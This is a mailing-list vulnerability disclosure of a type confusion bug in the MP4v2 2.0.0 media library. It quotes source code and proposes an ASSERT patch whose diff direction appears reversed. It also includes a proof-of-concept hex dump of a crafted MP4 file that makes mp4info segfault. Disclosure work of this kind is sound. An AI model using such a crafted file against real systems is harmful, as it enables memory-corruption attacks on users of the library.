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Date: Tue, 17 Jul 2018 14:30:48 +0800
From: Ruikai Liu <lrk700@...il.com>
To: oss-security@...ts.openwall.com
Subject: Type confusion in MP4v2 2.0.0
Hi,
A type confusion bug is found in MP4v2 2.0.0, a legacy library dealing
with MP4 media file.
========= ilst box =========
According to ref[2], MP4 file could contain an `ilst` box, which
stands for item list. Tags such as album, author, etc., are stored
here. A typical `ilst` box looks like this:
[ilst box] --> [nam box(full name)] -> [data box]
|---> [cmt box(comment)] -> [data box]
|---> [day box(created time)] -> [data box]
...
MP4v2 would use `MP4ItemAtom` for nam/cmt/... box, and `MP4DataAtom`
for data box:
772 MP4Atom*
773 MP4Atom::factory( MP4File &file, MP4Atom* parent, const char* type )
774 {
775 // type may be NULL only in case of root-atom
776 if( !type )
777 return new MP4RootAtom(file);
778
779 // construct atoms which are context-savvy
780 if( parent ) {
781 const char* const ptype = parent->GetType();
782
783 if( descendsFrom( parent, "ilst" )) {
784 if( ATOMID( ptype ) == ATOMID( "ilst" ))
785 return new MP4ItemAtom( file, type );
786
787 if( ATOMID( type ) == ATOMID( "data" ))
788 return new MP4DataAtom(file);
However, if a crafted MP4 file has the following structure:
[ilst box] -> [ilst box] -> [data box]
Then `MP4ItemAtom` would be created for the data box instead of
`MP4DataAtom`, since its parent is still of type `ilst`.
========= type confusion =========
Now, to parse the tag info of the MP4 file, `Tags::c_fetch` is called,
which invokes `genericGetItems`:
293 MP4ItmfItemList*
294 genericGetItems( MP4File& file )
295 {
296 MP4Atom* ilst = file.FindAtom( "moov.udta.meta.ilst" );
297 if( !ilst )
298 return __itemListAlloc();
299
300 const uint32_t itemCount = ilst->GetNumberOfChildAtoms();
301 if( itemCount < 1 )
302 return __itemListAlloc();
303
304 MP4ItmfItemList& list = *__itemListAlloc();
305 __itemListResize( list, itemCount );
306
307 for( uint32_t i = 0; i < list.size; i++ )
308 __itemAtomToModel( *(MP4ItemAtom*)ilst->GetChildAtom( i ),
list.elements[i] );
309
310 return &list;
311 }
Here we first find the atom for `ilst`, and then iterate its child
atoms. Remember that there's a duplicate `ilst` in the crafted MP4
file, in which case the root `ilst` atom's child is a `MP4ItemAtom` of
type `ilst`, and its grandchild is a `MP4ItemAtom` of type `data`.
Then in the function `__itemAtomToModel`, the `MP4ItemAtom` of type
`ilst` is parsed:
153 static bool
154 __itemAtomToModel( MP4ItemAtom& item_atom, MP4ItmfItem& model )
...
193 // pass 2: populate data model
194 for( uint32_t i = 0, idata = 0; i < childCount; i++ ) {
195 MP4Atom* atom = item_atom.GetChildAtom( i );
196 if( ATOMID( atom->GetType() ) != ATOMID( "data" ))
197 continue;
198
199 MP4DataAtom& data_atom = *(MP4DataAtom*)atom;
We can see that line 199 would cast its child to `MP4DataAtom`
directly, which in fact is a `MP4ItemAtom`. Since these two objects
are of different layout, operations on the `data_atom` could lead to
memory corruption due to the type confusion.
========= POC =========
Here we create a MP4 file with two `ilst`s:
root@...ian:~# xxd c3.mp4
00000000: 0000 0018 6674 7970 6d70 3432 0000 0000 ....ftypmp42....
00000010: 6d70 3432 6973 6f6d 0000 00b8 6d6f 6f76 mp42isom....moov
00000020: 0000 006c 6d76 6864 0000 0000 1234 5678 ...lmvhd.....4Vx
00000030: 2345 6789 0000 0258 9876 5432 0987 6543 #Eg....X.vT2..eC
00000040: 5600 0000 0000 0000 0000 0000 0000 0000 V...............
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 dead beef 0000 0044 ...............D
00000090: 7564 7461 0000 003c 6d65 7461 0000 0000 udta...<meta....
000000a0: 0000 0030 696c 7374 0000 0028 696c 7374 ...0ilst...(ilst
000000b0: 0000 0008 6461 7461 0000 0008 6461 7461 ....data....data
000000c0: 0000 0008 6461 7461 0000 0008 6461 7461 ....data....data
It results in segfault when running `mp4info`:
root@...ian:~# mp4info c3.mp4
mp4info version -r
c3.mp4:
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom meta missing child atom hdlr
ReadChildAtoms: "c3.mp4": In atom moov missing child atom trak
Track Type Info
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom data missing child atom data
ReadChildAtoms: "c3.mp4": In atom meta missing child atom hdlr
ReadChildAtoms: "c3.mp4": In atom moov missing child atom trak
Segmentation fault
root@...ian:~#
root@...ian:~# dpkg -s mp4v2-utils
Package: mp4v2-utils
Status: install ok installed
Priority: optional
Section: sound
Installed-Size: 300
Maintainer: Debian Multimedia Maintainers
<pkg-multimedia-maintainers@...ts.alioth.debian.org>
Architecture: amd64
Source: mp4v2 (2.0.0~dfsg0-5)
Version: 2.0.0~dfsg0-5+b1
Depends: libmp4v2-2 (= 2.0.0~dfsg0-5+b1), libc6 (>= 2.14), libgcc1 (>=
1:3.0), libstdc++6 (>= 5.2)
========= fix =========
The bug is caused by the wrong assumption that the child of an `ilst`
can never be an `ilst`. So we could fix it by simply adding an ASSERT:
--- src/mp4atom.cpp 2018-07-17 11:37:01.266702613 +0800
+++ ../mp4v2-2.0.0-orig/src/mp4atom.cpp 2018-07-17 14:20:54.986316212 +0800
@@ -783,6 +783,7 @@
if( descendsFrom( parent, "ilst" )) {
if( ATOMID( ptype ) == ATOMID( "ilst" ))
- ASSERT(ATOMID( type ) != ATOMID( "ilst" ));
return new MP4ItemAtom( file, type );
if( ATOMID( type ) == ATOMID( "data" )) {
========= Reference =========
[1] https://code.google.com/archive/p/mp4v2/
[2] http://xhelmboyx.tripod.com/formats/mp4-layout.txt
--
Best regards,
Ruikai Liu
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